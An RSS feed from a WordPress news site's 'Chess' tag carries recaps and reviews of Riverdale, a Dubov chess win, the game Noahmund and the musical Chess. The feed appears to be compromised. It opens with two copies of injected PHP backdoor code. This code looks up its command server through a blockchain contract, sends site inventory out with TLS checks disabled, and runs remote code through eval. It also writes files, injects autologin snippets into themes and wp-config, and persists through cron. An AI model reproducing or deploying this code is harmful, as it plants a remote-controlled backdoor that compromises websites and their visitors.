// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Chess – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 06 Feb 2020 08:52:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Chess – Brief News https://briefnews.eu 32 32 Riverdale Recap: Chess, Lies and Videotape (Plus, Meet Katy Keene!) https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/ https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/#respond Thu, 06 Feb 2020 08:52:09 +0000 http://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/

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Need to catch up? Read our previous Riverdale recap here.

You’d think after last week’s humiliating quiz show defeat, Riverdale‘s Bret would have the decency to slink away quietly. Yep, you’d be wrong.

The preppie jerk accepts Jughead’s challenge to an old-fashioned duel, and Mr. DuPont lays out the ground rules: First, they’ll fence, and then square off in a bare-knuckle brawl, and then play chess if they need a tie-breaker. Donna promises to coach Jughead up in fencing, but Bret manages to knock his sabre away and score the victory. Jughead wins the bare-knuckle fight, though, by landing a punch square on Bret’s jaw and knocking him out cold. That leaves one pivotal chess match to decide the winner — as Jughead discovers that just about everyone at Stonewall is rooting for him to lose.

Riverdale Season 4 Episode 12 Alice BettyMeanwhile, Betty’s been suspended and stripped of her Blue and Gold editorship after the quiz show cheating scandal, and she and Alice set their sights on finding out what really happened to Mr. Chipping. They visit his widowed wife, who insists he’d never have an affair with Donna and points them towards a box of his belongings that includes a bunch of Army brochures. Moose tells them Mr. Chipping urged him to enlist, and he agreed after Bret threatened to leak a videotape of him having sex with a classmate. Yikes… now Betty realizes Bret might also have a tape of her and Jughead. (Sorry, Alice.)

At the chess match, Jughead and Bret trade moves while Betty and Alice take advantage of the distraction to search Quill & Skull headquarters for the tapes. They find a stash of old videotapes in a secret hiding spot, but Bret insists they’re just tapes of Quill & Skull members confessing their darkest secrets for initiation. As for the chess match, a disgusted Jughead lets Bret win, not even wanting to be a “Stonewall man” anymore. Betty did smuggle out Donna’s confession tape, though, and it has her telling the same story about Mr. Chipping… but about a teacher named Mr. Kotter who doesn’t exist. Uh-oh, is Donna the one we should’ve been worrying about all along?

Yearbook Notes:

Riverdale Season 4 Episode 12 Katy Keene Veronica* We got our first glimpse of Katy Keene — premiering Thursday on The CW! — as Veronica went to visit her very close pal Katy in New York City. (You know, the very close pal she never mentioned before this season.) The gals went on a glamorous shopping spree, but afterwards, Katy confessed that her mom is very sick — and then Ronnie went home to discover that her dad Hiram has been diagnosed with a neuromuscular disorder that will rob him of his motor skills. A stunned Veronica decided to enroll in NYC’s Barnard College… and take Lodge as her last name once again, to honor her papa.

* Archie’s Uncle Frank caused more trouble this week, this time by bringing home an old war buddy named Ted Bishop who turned out to be a mercenary tasked with killing Frank. (Frank was a mercenary, too, and suspected his former employer wanted to tie up “loose ends.”) Frank tricked Ted into getting arrested, but Ted escaped and ambushed Archie at school, leading to a deadly struggle that ended with Frank saving Archie’s life. The feds arrested Ted, and Frank left town after promising to turn himself in. Which is kind of a good thing for Archie (and us), don’t ya think?

* Cheryl got an unwelcome blast from the past when Nick St. Clair (another preppie jerk!) turned up at the Maple Club looking to throw a party with his Harvard-bound pals. A shaken Cheryl told Toni all about Nick drugging her and trying to rape her, so Toni got revenge by luring Nick into a private room and drugging him, making him the unwitting star of one of Kevin and Fangs’ tickling videos. She warned him to stay out of Riverdale unless he wants that tape exposed — but wait, we’re drugging and assaulting people to prove how drugging and assaulting people is wrong? Just making sure I’m following along here.

* Am I a terrible person for not fully believing Hiram’s story that he is facing a serious illness? That guy has just lied too many times to too many people to trust him at this point.

* I’m also not really buying Bret’s story that all those videotapes are simple confessions, especially after we saw a camera running during a Jughead-and-Betty tryst earlier this season. And speaking of videotapes: Could he also be behind those creepy videotapes of people’s front doors that we haven’t heard about for a few weeks?

Got thoughts on tonight’s Riverdale? Grab a booth in the comments below.

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]]> https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/feed/ 0 'Perfect performance': Russian prodigy Dubov wins World Rapid Chess title, gets praise from Putin https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/ https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/#respond Sat, 29 Dec 2018 18:32:20 +0000 http://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/

Russia’s Danill Dubov, 22, has won the World Rapid and Blitz Chess Championships in St. Petersburg, seeing off rivals including world number one Magnus Carlsen to claim the $ 1 million prize and earning praise from Vladimir Putin.

Dubov won the World Rapid championship on Friday, in which players are permitted just 15 minutes each for the entire game, and followed up with a victory in the Blitz to earn praise from the Russian leader.

READ MORE: Russian authorities & WADA ‘settle technical issues over Moscow lab access’ – Sports Ministry

“Please accept my heartfelt congratulations on winning the 2018 World Rapid Championships,” a message from Putin read on the official Kremlin website.

“You delivered a perfect performance at the home tournament, succeeding in pulling yourself together and achieving the desired goal. Your brilliant performance and convincing victory proved to be a wonderful New Year’s gift for your teachers, family and friends, as well as for all Russian chess fans.”

Putin would continue to wish Dubov continued success for the rest of his career.

Dubov bagged 11 points from 15 available in the tournament, with Azerbaijani grandmaster Shakhriyar Mamedyarov in second place. 

READ MORE: ‘Stratospheric’ – Juventus win sets Serie A points tally record

Japanese-American grandmaster Hikaru Nakamura finished in third place, while another Russian entrant, Vladislav Artemyev, came in fourth. 

Carlsen, meanwhile, will be disappointed with his performance in finishing fifth, having entered the competition as heavy favorite due to his status as the sport’s current world champion.




Also on rt.com
Carlsen beats Caruana in tiebreakers to defend World Chess Championship title



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]]> https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/feed/ 0 Noahmund Mixes Elements Of Chess & Classic JPRGS https://briefnews.eu/noahmund-mixes-elements-of-chess-classic-jprgs/ https://briefnews.eu/noahmund-mixes-elements-of-chess-classic-jprgs/#respond Sat, 04 Aug 2018 02:43:08 +0000 http://briefnews.eu/noahmund-mixes-elements-of-chess-classic-jprgs/ noahmund_header.jpg

Noahmund brings back the familiar atmosphere of PS1 & SNES JRPGS in both visual and audio aesthetics, aiming to capture the feel of the early entries in the genre. In keeping with the look and sound, it will also immerse you in a deep story of love and war while offering some strategic, chess-inspired fights and puzzling obstacles.

In a war-torn world, a girl and her guardian set out on a quest to find a devastating weapon that had been used four years ago. They will have to brave some dark corners in order to find it, but the war may go horribly without their success. To find this missing super weapon, you’ll explore dungeons via a node-based exploration style while solving puzzles using your party members’ unique abilities (like PS1 RPG Wild Arms), giving players a mental workout when they’re not thumping foes.

You’ll have to use your head in your battles, too, as the game employs a Motion Battle Chess style. Drawing from the classic game, attacks may only hit certain areas (like, only hitting the direct area around the character using an attack), so it’s important to note how your abilities will work against enemies based on their positions around you.

For a glimpse back into the glory days of JPRGs, check out Noahmund.

You can find Noahmund on Steam here. You can also check out the official website, Twitter, and Facebook!

]]> https://briefnews.eu/noahmund-mixes-elements-of-chess-classic-jprgs/feed/ 0 Chess theatre review – Choreography is athletic but clichéd, lyrics inaudible https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/ https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/#respond Sun, 06 May 2018 19:07:49 +0000 http://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/

It aims to explore Cold War tensions and is loosely based on the rivalry of chess grandmasters American Bobby Fischer and Russian Boris Spassky but is muddled and puerile.

The Fischer character, defeated in the first act, switches allegiance in the second more often than the shadiest Le Carré character but without a fraction of the motivation.

Director Laurence Connor displays so little faith in the show’s ability to hold the stage that he projects relentless distracting close-ups of the principals on vast video screens.

Stephen Mear’s choreography is athletic but clichéd: goose-stepping Soviets, pompom-twirling cheerleaders and brolly-waving Britons.

The sound system is such that 80 per cent of the lyrics are inaudible but, given the banality of the remainder, this may be no loss.

Every other song ends in the same meaningless crescendo. Michael Ball, Alexandra Burke, Tim Howar and Cassidy Janson emote gamely to little effect. And the £150 seat price is an outrage!

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]]> https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/feed/ 0 Chess review: Michael Ball shines in SPINE-TINGLING ABBA musical revival https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/ https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/#respond Wed, 02 May 2018 05:22:28 +0000 http://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/

ChessPH

Michael Ball soars in Chess as the musical makes its return to the West End

At last the kings have regained their crown.

